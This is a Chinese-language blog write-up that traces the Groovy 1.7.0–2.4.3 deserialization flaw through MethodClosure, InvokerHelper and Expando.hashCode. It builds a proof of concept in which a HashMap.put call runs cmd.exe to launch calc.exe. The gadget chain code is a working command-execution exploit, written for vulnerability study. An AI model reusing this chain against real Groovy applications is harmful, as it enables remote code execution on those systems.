Java反序列化的漏洞爆發好久了,此前一直想學習一下。無奈Java體系太過於複雜,單是瞭解就花了我好久的時間,再加上懶,就一直拖着,今天剛好有空,參考@iswin大佬兩年前的分析,我本身跟蹤了一下流程,並按本身的想法重寫了一下POC,在此作個記錄。windows
首先咱們須要明確的是,該漏洞影響的範圍是Groovy 1.7.0-2.4.3。咱們藉助於Idea構建一個空白的maven項目,而後配置pom.xml文件,添加以下依賴:安全
<dependencies> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.4.1</version> </dependency> </dependencies>
等Idea幫咱們導入所須要的依賴庫之後,咱們就能夠開始分析了。數據結構
在搭建好漏洞環境以後咱們定位到漏洞現場,在 org.codehaus.groovy.runtime.MethodClosure 類中存在以下代碼:maven
protected Object doCall(Object arguments) { return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments); }
熟悉Java反射機制的話應該不難猜出doCall方法動態調用了指定對象的指定方法,而實際上該類的描述也剛好證明了這一點。咱們繼續跟進invokeMethod方法,org.codehaus.groovy.runtime.invokeHelper類:學習
public static Object invokeMethod(Object object, String methodName, Object arguments) { if (object == null) { object = NullObject.getNullObject(); } if (object instanceof Class) { Class theClass = (Class)object; MetaClass metaClass = metaRegistry.getMetaClass(theClass); return metaClass.invokeStaticMethod(object, methodName, asArray(arguments)); } else { return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments); } }
從方法的參數表中咱們能夠看出,第一個參數爲調用方法的對象,第二個參數爲被調用執行的方法,第三個參數的含義爲該方法的所須要的參數。測試
此時我寫了一個測試代碼以下:ui
MethodClosure mc = null; try { mc = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");
} catch (IOException e) { e.printStackTrace(); } mc.call();
運行後:this
咱們此時已經找到可以觸發漏洞的點,接下來須要考慮的問題是,尋找調用call方法的地方,實現漏洞的利用。之因此要尋找調用call方法的地方是由於call方法調用了這裏的doCall去執行指定對象的指定方法。經過Idea咱們發現:spa
public int hashCode() { Object method = this.getProperties().get("hashCode"); if (method != null && method instanceof Closure) { Closure closure = (Closure)method; closure.setDelegate(this); Integer ret = (Integer)closure.call(); return ret; } else { return super.hashCode(); } }
在Expando類hashCode方法中調用了call方法,這樣咱們只須要想辦法調用hashCode方法便可調用其call方法。此時咱們須要注意,Java中hashCode方法默認會返回該對象在JVM中的內存地址。當比較兩個對象是否相等的時候,會調用該對象的hashCode以及equals方法進行比較,若是兩個方法返回結果一致,那麼比較的結果將返回真。不然,將返回假。code
明白了hashCode方法之後,咱們再來講說HashMap的put方法。HashMap是Java中的一種k-v數據結構,不容許存在相同的key。因此在put時候是會對key進行比對判斷是否會重複的。此時若是咱們能夠控制key爲惡意的對象,那麼將會經過hashCode方法執行call方法,從而執行精心構造的代碼。
固然在Expando中咱們一樣發現了toString方法存在調用call方法的代碼,可是這裏咱們先重點關注hashCode方法。
通過以上分析, 咱們首先構造Expando對象,並經過其setProperty方法設置屬性值的鍵爲hashCode,值爲咱們的惡意對象。代碼以下:
Expando ep = new Expando(); ep.setProperty("hashCode", evilObj);
而後經過調用HashMap對象的put方法觸發這裏惡意對象。
HashMap<Expando, Integer> hashMap = new HashMap<Expando, Integer>(); hashMap.put(ep, 1);
而後這裏的evilObj就很容易了,
MethodClosure evilObj = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");
所有代碼以下:
// 建立惡意對象 Expando ep = new Expando(); MethodClosure evilObj = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");
// 將惡意Closure對象綁定到Expando對象
ep.setProperty("hashCode", evilObj);
HashMap<Expando, Integer> hashMap = new HashMap<Expando, Integer>();
// 調用put方法從而調用HashCode方法
hashMap.put(ep, 1);
單步跟蹤到hashCode方法的時候執行: